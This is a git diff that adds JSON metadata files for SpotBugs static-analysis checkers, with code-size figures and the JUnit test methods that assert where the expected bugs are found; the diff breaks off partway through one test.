Information/checkers/detect/FindNullDerefsInvolvingNonShortCircuitEvaluation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNullDerefsInvolvingNonShortCircuitEvaluation.json new file mode 100644 index 0000000..f7527fe --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNullDerefsInvolvingNonShortCircuitEvaluation.json @@ -0,0 +1,13 @@ +{ + "name": "FindNullDerefsInvolvingNonShortCircuitEvaluation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 206, + "branches": 24, + "apis": 58, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindOpenStream.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindOpenStream.json new file mode 100644 index 0000000..5634f47 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindOpenStream.json @@ -0,0 +1,13 @@ +{ + "name": "FindOpenStream", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 550, + "branches": 45, + "apis": 129, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindOverridableMethodCall.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindOverridableMethodCall.json new file mode 100644 index 0000000..d00ee5a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindOverridableMethodCall.json @@ -0,0 +1,410 @@ +{ + "name": "FindOverridableMethodCall", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 429, + "branches": 55, + "apis": 128, + "test": [ + { + "description": "testDirectCase", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 15 + ], + "code": "@Test\n void testDirectCase() {\n testCase(\"DirectCase\", 5, 18);\n }" + }, + { + "description": "testDirectCaseObject", + "expected-problems": null, + "expected-linenumbers": [ + 17, + 20 + ], + "code": "@Test\n void testDirectCaseObject() {\n testCase(\"DirectCaseObject\", 5, 13);\n }" + }, + { + "description": "testIndirectCase1", + "expected-problems": null, + "expected-linenumbers": [ + 22, + 25 + ], + "code": "@Test\n void testIndirectCase1() {\n testCase(\"IndirectCase1\", 9, 22);\n }" + }, + { + "description": "testIndirectCase2", + "expected-problems": null, + "expected-linenumbers": [ + 27, + 30 + ], + "code": "@Test\n void testIndirectCase2() {\n testCase(\"IndirectCase2\", 5, 18);\n }" + }, + { + "description": "testDoubleIndirectCase1", + "expected-problems": null, + "expected-linenumbers": [ + 32, + 35 + ], + "code": "@Test\n void testDoubleIndirectCase1() {\n testCase(\"DoubleIndirectCase1\", 16, 29);\n }" + }, + { + "description": "testDoubleIndirectCase2", + "expected-problems": null, + "expected-linenumbers": [ + 37, + 40 + ], + "code": "@Test\n void testDoubleIndirectCase2() {\n testCase(\"DoubleIndirectCase2\", 16, 29);\n }" + }, + { + "description": "testDoubleIndirectCase3", + "expected-problems": null, + "expected-linenumbers": [ + 42, + 45 + ], + "code": "@Test\n void testDoubleIndirectCase3() {\n testCase(\"DoubleIndirectCase3\", 11, 24);\n }" + }, + { + "description": "testDoubleIndirectCase4", + "expected-problems": null, + "expected-linenumbers": [ + 47, + 50 + ], + "code": "@Test\n void testDoubleIndirectCase4() {\n testCase(\"DoubleIndirectCase4\", 10, 23);\n }" + }, + { + "description": "testDoubleIndirectCase5", + "expected-problems": null, + "expected-linenumbers": [ + 52, + 55 + ], + "code": "@Test\n void testDoubleIndirectCase5() {\n testCase(\"DoubleIndirectCase5\", 5, 18);\n }" + }, + { + "description": "testDoubleIndirectCase6", + "expected-problems": null, + "expected-linenumbers": [ + 57, + 60 + ], + "code": "@Test\n void testDoubleIndirectCase6() {\n testCase(\"DoubleIndirectCase6\", 5, 18);\n }" + }, + { + "description": "testMethodReference", + "expected-problems": null, + "expected-linenumbers": [ + 62, + 65 + ], + "code": "@Test\n void testMethodReference() {\n testCase(\"MethodReference\", 11, 20);\n }" + }, + { + "description": "testMethodReferenceIndirect1", + "expected-problems": null, + "expected-linenumbers": [ + 67, + 70 + ], + "code": "@Test\n void testMethodReferenceIndirect1() {\n testCase(\"MethodReferenceIndirect1\", 15, 24);\n }" + }, + { + "description": "testMethodReferenceIndirect2", + "expected-problems": null, + "expected-linenumbers": [ + 72, + 75 + ], + "code": "@Test\n void testMethodReferenceIndirect2() {\n testCase(\"MethodReferenceIndirect2\", 23, 32);\n }" + }, + { + "description": "testMethodReferenceIndirect3", + "expected-problems": null, + "expected-linenumbers": [ + 77, + 80 + ], + "code": "@Test\n void testMethodReferenceIndirect3() {\n testCase(\"MethodReferenceIndirect3\", 23, 32);\n }" + }, + { + "description": "testFinalClassDirect", + "expected-problems": null, + "expected-linenumbers": [ + 82, + 85 + ], + "code": "@Test\n void testFinalClassDirect() {\n testPass(\"FinalClassDirect\");\n }" + }, + { + "description": "testFinalClassIndirect", + "expected-problems": null, + "expected-linenumbers": [ + 87, + 90 + ], + "code": "@Test\n void testFinalClassIndirect() {\n testPass(\"FinalClassIndirect\");\n }" + }, + { + "description": "testFinalClassDoubleIndirect", + "expected-problems": null, + "expected-linenumbers": [ + 92, + 95 + ], + "code": "@Test\n void testFinalClassDoubleIndirect() {\n testPass(\"FinalClassDoubleIndirect\");\n }" + }, + { + "description": "testFinalClassMethodReference", + "expected-problems": null, + "expected-linenumbers": [ + 97, + 100 + ], + "code": "@Test\n void testFinalClassMethodReference() {\n testPass(\"FinalClassMethodReference\");\n }" + }, + { + "description": "testFinalClassInheritedDirect", + "expected-problems": null, + "expected-linenumbers": [ + 102, + 108 + ], + "code": "@Test\n void testFinalClassInheritedDirect() {\n performAnalysis(\"overridableMethodCall/FinalClassInheritedDirect.class\",\n \"overridableMethodCall/InterfaceWithDefaultMethod.class\");\n\n checkNoBug();\n }" + }, + { + "description": "testFinalClassInheritedIndirect", + "expected-problems": null, + "expected-linenumbers": [ + 110, + 116 + ], + "code": "@Test\n void testFinalClassInheritedIndirect() {\n performAnalysis(\"overridableMethodCall/FinalClassInheritedIndirect.class\",\n \"overridableMethodCall/InterfaceWithDefaultMethod.class\");\n\n checkNoBug();\n }" + }, + { + "description": "testFinalClassInheritedDoubleIndirect", + "expected-problems": null, + "expected-linenumbers": [ + 118, + 124 + ], + "code": "@Test\n void testFinalClassInheritedDoubleIndirect() {\n performAnalysis(\"overridableMethodCall/FinalClassInheritedDoubleIndirect.class\",\n \"overridableMethodCall/InterfaceWithDefaultMethod.class\");\n\n checkNoBug();\n }" + }, + { + "description": "testFinalClassInheritedMethodReference", + "expected-problems": null, + "expected-linenumbers": [ + 126, + 132 + ], + "code": "@Test\n void testFinalClassInheritedMethodReference() {\n performAnalysis(\"overridableMethodCall/FinalClassInheritedMethodReference.class\",\n \"overridableMethodCall/InterfaceWithDefaultMethod.class\");\n\n checkNoBug();\n }" + }, + { + "description": "testFinalClassInheritedMethodReference2", + "expected-problems": null, + "expected-linenumbers": [ + 134, + 139 + ], + "code": "@Test\n void testFinalClassInheritedMethodReference2() {\n performAnalysis(\"overridableMethodCall/DirectCase2.class\");\n\n checkNoBug();\n }" + }, + { + "description": "testDirectReadObject", + "expected-problems": null, + "expected-linenumbers": [ + 141, + 144 + ], + "code": "@Test\n void testDirectReadObject() {\n testReadObject(\"DirectReadObject\", 8);\n }" + }, + { + "description": "testDirectReadObjectStreamMethods", + "expected-problems": null, + "expected-linenumbers": [ + 146, + 149 + ], + "code": "@Test\n void testDirectReadObjectStreamMethods() {\n testPass(\"DirectReadObjectStreamMethods\");\n }" + }, + { + "description": "testDirectReadObjectStreamMethods2", + "expected-problems": null, + "expected-linenumbers": [ + 151, + 154 + ], + "code": "@Test\n void testDirectReadObjectStreamMethods2() {\n testReadObject(\"DirectReadObjectStreamMethods2\", 11);\n }" + }, + { + "description": "testIndirectReadObject1", + "expected-problems": null, + "expected-linenumbers": [ + 156, + 159 + ], + "code": "@Test\n void testIndirectReadObject1() {\n testReadObject(\"IndirectReadObject1\", 11);\n }" + }, + { + "description": "testIndirectReadObject2", + "expected-problems": null, + "expected-linenumbers": [ + 161, + 164 + ], + "code": "@Test\n void testIndirectReadObject2() {\n testReadObject(\"IndirectReadObject2\", 7);\n }" + }, + { + "description": "testIndirectStreamMethods1", + "expected-problems": null, + "expected-linenumbers": [ + 166, + 169 + ], + "code": "@Test\n void testIndirectStreamMethods1() {\n testPass(\"IndirectStreamMethods1\");\n }" + }, + { + "description": "testIndirectStreamMethods2", + "expected-problems": null, + "expected-linenumbers": [ + 171, + 174 + ], + "code": "@Test\n void testIndirectStreamMethods2() {\n testPass(\"IndirectStreamMethods2\");\n }" + }, + { + "description": "DoubleIndirectReadObjectCase1", + "expected-problems": null, + "expected-linenumbers": [ + 176, + 179 + ], + "code": "@Test\n void DoubleIndirectReadObjectCase1() {\n testReadObject(\"DoubleIndirectReadObjectCase1\", 18);\n }" + }, + { + "description": "DoubleIndirectReadObjectCase2", + "expected-problems": null, + "expected-linenumbers": [ + 181, + 184 + ], + "code": "@Test\n void DoubleIndirectReadObjectCase2() {\n testReadObject(\"DoubleIndirectReadObjectCase2\", 18);\n }" + }, + { + "description": "DoubleIndirectReadObjectCase3", + "expected-problems": null, + "expected-linenumbers": [ + 186, + 189 + ], + "code": "@Test\n void DoubleIndirectReadObjectCase3() {\n testReadObject(\"DoubleIndirectReadObjectCase3\", 13);\n }" + }, + { + "description": "DoubleIndirectReadObjectCase4", + "expected-problems": null, + "expected-linenumbers": [ + 191, + 194 + ], + "code": "@Test\n void DoubleIndirectReadObjectCase4() {\n testReadObject(\"DoubleIndirectReadObjectCase4\", 12);\n }" + }, + { + "description": "DoubleIndirectReadObjectCase5", + "expected-problems": null, + "expected-linenumbers": [ + 196, + 199 + ], + "code": "@Test\n void DoubleIndirectReadObjectCase5() {\n testReadObject(\"DoubleIndirectReadObjectCase5\", 7);\n }" + }, + { + "description": "DoubleIndirectReadObjectCase6", + "expected-problems": null, + "expected-linenumbers": [ + 201, + 204 + ], + "code": "@Test\n void DoubleIndirectReadObjectCase6() {\n testReadObject(\"DoubleIndirectReadObjectCase6\", 7);\n }" + }, + { + "description": "MethodReferenceReadObject", + "expected-problems": null, + "expected-linenumbers": [ + 206, + 209 + ], + "code": "@Test\n void MethodReferenceReadObject() {\n testReadObject(\"MethodReferenceReadObject\", 12);\n }" + }, + { + "description": "MethodReferenceReadObjectIndirect1", + "expected-problems": null, + "expected-linenumbers": [ + 211, + 214 + ], + "code": "@Test\n void MethodReferenceReadObjectIndirect1() {\n testReadObject(\"MethodReferenceReadObjectIndirect1\", 16);\n }" + }, + { + "description": "MethodReferenceReadObjectIndirect2", + "expected-problems": null, + "expected-linenumbers": [ + 216, + 219 + ], + "code": "@Test\n void MethodReferenceReadObjectIndirect2() {\n testReadObject(\"MethodReferenceReadObjectIndirect2\", 24);\n }" + }, + { + "description": "MethodReferenceReadObjectIndirect3", + "expected-problems": null, + "expected-linenumbers": [ + 221, + 224 + ], + "code": "@Test\n void MethodReferenceReadObjectIndirect3() {\n testReadObject(\"MethodReferenceReadObjectIndirect3\", 24);\n }" + }, + { + "description": "testFinalClassDirectReadObject", + "expected-problems": null, + "expected-linenumbers": [ + 226, + 229 + ], + "code": "@Test\n void testFinalClassDirectReadObject() {\n testPass(\"FinalClassDirectReadObject\");\n }" + }, + { + "description": "testFinalClassIndirectReadObject", + "expected-problems": null, + "expected-linenumbers": [ + 231, + 234 + ], + "code": "@Test\n void testFinalClassIndirectReadObject() {\n testPass(\"FinalClassIndirectReadObject\");\n }" + }, + { + "description": "testOverridableMethodCallsInReadObjectCase1", + "expected-problems": null, + "expected-linenumbers": [ + 236, + 239 + ], + "code": "@Test\n void testOverridableMethodCallsInReadObjectCase1() {\n testPass(\"OverridableMethodCallsInReadObjectCase1\");\n }" + }, + { + "description": "testOverridableMethodCallsInReadObjectCase2", + "expected-problems": null, + "expected-linenumbers": [ + 241, + 244 + ], + "code": "@Test\n void testOverridableMethodCallsInReadObjectCase2() {\n testReadObject(\"OverridableMethodCallsInReadObjectCase2\", 11);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPotentialSecurityCheckBasedOnUntrustedSource.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPotentialSecurityCheckBasedOnUntrustedSource.json new file mode 100644 index 0000000..becfec2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPotentialSecurityCheckBasedOnUntrustedSource.json @@ -0,0 +1,23 @@ +{ + "name": "FindPotentialSecurityCheckBasedOnUntrustedSource", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 397, + "branches": 41, + "apis": 105, + "test": [ + { + "description": "testUntrustedSources", + "expected-problems": null, + "expected-linenumbers": [ + 9, + 20 + ], + "code": "@Test\n void testUntrustedSources() {\n performAnalysis(\"PotentialSecurityCheckBasedOnUntrustedSource.class\",\n \"PotentialSecurityCheckBasedOnUntrustedSource$1.class\",\n \"PotentialSecurityCheckBasedOnUntrustedSource$2.class\");\n\n final String bugType = \"USC_POTENTIAL_SECURITY_CHECK_BASED_ON_UNTRUSTED_SOURCE\";\n\n assertBugTypeCount(bugType, 2);\n assertBugInMethodAtLine(bugType, \"PotentialSecurityCheckBasedOnUntrustedSource\", \"badOpenFile\", 11);\n assertBugInMethodAtLine(bugType, \"PotentialSecurityCheckBasedOnUntrustedSource\", \"badOpenFileLambda\", 40);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPublicAttributes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPublicAttributes.json new file mode 100644 index 0000000..6b7bd45 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPublicAttributes.json @@ -0,0 +1,32 @@ +{ + "name": "FindPublicAttributes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 184, + "branches": 25, + "apis": 44, + "test": [ + { + "description": "testPublicAttributesChecks", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 28 + ], + "code": "@Test\n void testPublicAttributesChecks() {\n performAnalysis(\"PublicAttributesTest.class\");\n\n assertBugTypeCount(PRIMITIVE_PUBLIC, 3);\n assertBugTypeCount(ARRAY_PUBLIC, 4);\n assertBugTypeCount(MUTABLE_PUBLIC, 1);\n\n assertBugAtFieldAtLine(PRIMITIVE_PUBLIC, \"PublicAttributesTest\", \"attr1\", 11);\n assertBugAtFieldAtLine(PRIMITIVE_PUBLIC, \"PublicAttributesTest\", \"attr2\", 42);\n assertBugAtFieldAtLine(PRIMITIVE_PUBLIC, \"PublicAttributesTest\", \"sattr1\", 15);\n assertBugAtFieldAtLine(MUTABLE_PUBLIC, \"PublicAttributesTest\", \"hm\", 20);\n assertBugAtFieldAtLine(ARRAY_PUBLIC, \"PublicAttributesTest\", \"items\", 28);\n assertBugAtFieldAtLine(ARRAY_PUBLIC, \"PublicAttributesTest\", \"nitems\", 48);\n assertBugAtFieldAtLine(ARRAY_PUBLIC, \"PublicAttributesTest\", \"sitems\", 32);\n assertBugAtFieldAtLine(ARRAY_PUBLIC, \"PublicAttributesTest\", \"SFITEMS\", 34);\n }" + }, + { + "description": "testGoodPublicAttributesChecks", + "expected-problems": null, + "expected-linenumbers": [ + 30, + 36 + ], + "code": "@Test\n void testGoodPublicAttributesChecks() {\n performAnalysis(\"PublicAttributesNegativeTest.class\");\n assertBugTypeCount(PRIMITIVE_PUBLIC, 0);\n assertBugTypeCount(ARRAY_PUBLIC, 0);\n assertBugTypeCount(MUTABLE_PUBLIC, 0);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPuzzlers.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPuzzlers.json new file mode 100644 index 0000000..c55a22f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPuzzlers.json @@ -0,0 +1,13 @@ +{ + "name": "FindPuzzlers", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 735, + "branches": 117, + "apis": 261, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRefComparison.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRefComparison.json new file mode 100644 index 0000000..c632e25 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRefComparison.json @@ -0,0 +1,50 @@ +{ + "name": "FindRefComparison", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1367, + "branches": 140, + "apis": 328, + "test": [ + { + "description": "testComparisonsNotEnabled", + "expected-problems": null, + "expected-linenumbers": [ + 25, + 35 + ], + "code": "@Test\n void testComparisonsNotEnabled() {\n // When there is no priority adjustment, and we enable ref comparison for\n // all, we only get an integer ref comparison bug.\n setPriorityAdjustment(0); // reset priority\n SystemProperties.setProperty(\"findbugs.refcomp.reportAll\", \"true\"); // enable ref comparison\n\n performAnalysisForRefComp();\n assertBugTypeCount(\"RC_REF_COMPARISON\", 1);\n assertBugInMethodAtLineWithConfidence(\"RC_REF_COMPARISON\", \"RefComparisons\", \"integerBadComparison\", 5, Confidence.HIGH);\n }" + }, + { + "description": "testComparisonsWhenPropertyUnset", + "expected-problems": null, + "expected-linenumbers": [ + 37, + 48 + ], + "code": "@Test\n void testComparisonsWhenPropertyUnset() {\n // When raising the priority, we get all ref comparison bugs.\n setPriorityAdjustment(-1); // raise priority\n\n SystemProperties.removeProperty(\"findbugs.refcomp.reportAll\");\n performAnalysisForRefComp();\n assertBugTypeCount(\"RC_REF_COMPARISON\", 3);\n assertBugInMethodAtLineWithConfidence(\"RC_REF_COMPARISON\", \"RefComparisons\", \"integerBadComparison\", 5, Confidence.HIGH);\n assertBugInMethodAtLineWithConfidence(\"RC_REF_COMPARISON\", \"RefComparisons\", \"myClass1BadComparison\", 13, Confidence.LOW);\n assertBugInMethodAtLineWithConfidence(\"RC_REF_COMPARISON\", \"RefComparisons\", \"myClass2BadComparison\", 21, Confidence.LOW);\n }" + }, + { + "description": "testComparisonsWhenReportAllIsNotEnabled", + "expected-problems": null, + "expected-linenumbers": [ + 50, + 58 + ], + "code": "@Test\n void testComparisonsWhenReportAllIsNotEnabled() {\n setPriorityAdjustment(-1); // raise priority\n SystemProperties.setProperty(\"findbugs.refcomp.reportAll\", \"false\");\n\n performAnalysis(\"RefComparisons.class\");\n assertBugTypeCount(\"RC_REF_COMPARISON\", 1);\n assertBugInMethodAtLineWithConfidence(\"RC_REF_COMPARISON\", \"RefComparisons\", \"integerBadComparison\", 5, Confidence.HIGH);\n }" + }, + { + "description": "testComparisonsWhenReportAllIsEnabled", + "expected-problems": null, + "expected-linenumbers": [ + 60, + 70 + ], + "code": "@Test\n void testComparisonsWhenReportAllIsEnabled() {\n setPriorityAdjustment(-1); // raise priority\n SystemProperties.setProperty(\"findbugs.refcomp.reportAll\", \"true\");\n\n performAnalysisForRefComp();\n assertBugTypeCount(\"RC_REF_COMPARISON\", 3);\n assertBugInMethodAtLineWithConfidence(\"RC_REF_COMPARISON\", \"RefComparisons\", \"integerBadComparison\", 5, Confidence.HIGH);\n assertBugInMethodAtLineWithConfidence(\"RC_REF_COMPARISON\", \"RefComparisons\", \"myClass1BadComparison\", 13, Confidence.LOW);\n assertBugInMethodAtLineWithConfidence(\"RC_REF_COMPARISON\", \"RefComparisons\", \"myClass2BadComparison\", 21, Confidence.LOW);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindReturnRef.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindReturnRef.json new file mode 100644 index 0000000..c641e6a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindReturnRef.json @@ -0,0 +1,86 @@ +{ + "name": "FindReturnRef", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 428, + "branches": 72, + "apis": 131, + "test": [ + { + "description": "testFindReturnRefTestNegativeChecks", + "expected-problems": null, + "expected-linenumbers": [ + 10, + 16 + ], + "code": "@Test\n void testFindReturnRefTestNegativeChecks() {\n performAnalysis(\"exposemutable/FindReturnRefNegativeTest.class\",\n \"exposemutable/FindReturnRefNegativeTest$Inner.class\");\n\n assertNoExposeBug();\n }" + }, + { + "description": "testFindReturnRefTestChecks", + "expected-problems": null, + "expected-linenumbers": [ + 18, + 70 + ], + "code": "@Test\n void testFindReturnRefTestChecks() {\n performAnalysis(\"exposemutable/FindReturnRefTest.class\");\n\n assertBugTypeCount(\"EI_EXPOSE_BUF\", 2);\n assertBugTypeCount(\"EI_EXPOSE_BUF2\", 2);\n assertBugTypeCount(\"EI_EXPOSE_REP\", 6);\n assertBugTypeCount(\"EI_EXPOSE_REP2\", 6);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_BUF2\", 2);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_REP2\", 6);\n assertBugTypeCount(\"MS_EXPOSE_BUF\", 2);\n assertBugTypeCount(\"MS_EXPOSE_REP\", 6);\n\n assertBugInMethodAtField(\"EI_EXPOSE_BUF\", \"FindReturnRefTest\", \"getBufferWrap\", \"charArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_BUF\", \"FindReturnRefTest\", \"getBufferDuplicate\", \"charBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_BUF2\", \"FindReturnRefTest\", \"setBufferDuplicate\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_BUF2\", \"FindReturnRefTest\", \"setBufferWrap\", \"charBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"FindReturnRefTest\", \"getBuffer\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"FindReturnRefTest\", \"getDate\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"FindReturnRefTest\", \"getDate2\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"FindReturnRefTest\", \"getDateArray\", \"dateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"FindReturnRefTest\", \"getValues\", \"hm\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"FindReturnRefTest\", \"getDateArray2\", \"dateArray\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"FindReturnRefTest\", \"setBuffer\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"FindReturnRefTest\", \"setDate\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"FindReturnRefTest\", \"setDate2\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"FindReturnRefTest\", \"setDateArray\", \"dateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"FindReturnRefTest\", \"setValues\", \"hm\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"FindReturnRefTest\", \"setDateArray2\", \"dateArray\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_BUF2\", \"FindReturnRefTest\", \"setStaticBufferDuplicate\", \"sCharBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_BUF2\", \"FindReturnRefTest\", \"setStaticBufferWrap\", \"sCharBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"FindReturnRefTest\", \"getStaticValues2\", \"shm\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"FindReturnRefTest\", \"setStaticBuffer\", \"sCharBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"FindReturnRefTest\", \"setStaticDate\", \"sDate\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"FindReturnRefTest\", \"setStaticDate2\", \"sDate\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"FindReturnRefTest\", \"setStaticDateArray\", \"sDateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"FindReturnRefTest\", \"setStaticDateArray2\", \"sDateArray\");\n\n assertBugInMethodAtField(\"MS_EXPOSE_BUF\", \"FindReturnRefTest\", \"getStaticBufferWrap\", \"sCharArray\");\n assertBugInMethodAtField(\"MS_EXPOSE_BUF\", \"FindReturnRefTest\", \"getStaticBufferDuplicate\", \"sCharBuf\");\n\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"FindReturnRefTest\", \"getStaticBuffer\", \"sCharBuf\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"FindReturnRefTest\", \"getStaticDate\", \"sDate\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"FindReturnRefTest\", \"getStaticDate2\", \"sDate\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"FindReturnRefTest\", \"getStaticDateArray\", \"sDateArray\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"FindReturnRefTest\", \"getStaticValues\", \"shm\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"FindReturnRefTest\", \"getStaticDateArray2\", \"sDateArray\");\n }" + }, + { + "description": "testExposeMutableFromInner", + "expected-problems": null, + "expected-linenumbers": [ + 72, + 126 + ], + "code": "@Test\n void testExposeMutableFromInner() {\n performAnalysis(\"exposemutable/ExposeMutableFromInner.class\",\n \"exposemutable/ExposeMutableFromInner$Nested.class\",\n \"exposemutable/ExposeMutableFromInner$Inner.class\");\n\n assertBugTypeCount(\"EI_EXPOSE_BUF\", 2);\n assertBugTypeCount(\"EI_EXPOSE_BUF2\", 2);\n assertBugTypeCount(\"EI_EXPOSE_REP\", 6);\n assertBugTypeCount(\"EI_EXPOSE_REP2\", 6);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_BUF2\", 2);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_REP2\", 6);\n assertBugTypeCount(\"MS_EXPOSE_BUF\", 2);\n assertBugTypeCount(\"MS_EXPOSE_REP\", 6);\n\n assertBugInMethodAtField(\"EI_EXPOSE_BUF\", \"ExposeMutableFromInner$Inner\", \"getBufferWrap\", \"charArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_BUF\", \"ExposeMutableFromInner$Inner\", \"getBufferDuplicate\", \"charBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_BUF2\", \"ExposeMutableFromInner$Inner\", \"setBufferDuplicate\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_BUF2\", \"ExposeMutableFromInner$Inner\", \"setBufferWrap\", \"charBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromInner$Inner\", \"getBuffer\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromInner$Inner\", \"getDate\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromInner$Inner\", \"getDate2\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromInner$Inner\", \"getDateArray\", \"dateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromInner$Inner\", \"getValues\", \"hm\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromInner$Inner\", \"getDateArray2\", \"dateArray\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromInner$Inner\", \"setBuffer\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromInner$Inner\", \"setDate\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromInner$Inner\", \"setDate2\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromInner$Inner\", \"setDateArray\", \"dateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromInner$Inner\", \"setValues\", \"hm\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromInner$Inner\", \"setDateArray2\", \"dateArray\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_BUF2\", \"ExposeMutableFromInner$Nested\", \"setStaticBufferDuplicate\", \"sCharBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_BUF2\", \"ExposeMutableFromInner$Nested\", \"setStaticBufferWrap\", \"sCharBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromInner$Nested\", \"setStaticBuffer\", \"sCharBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromInner$Nested\", \"setStaticDate\", \"sDate\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromInner$Nested\", \"setStaticDate2\", \"sDate\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromInner$Nested\", \"setStaticDateArray\", \"sDateArray\");\n 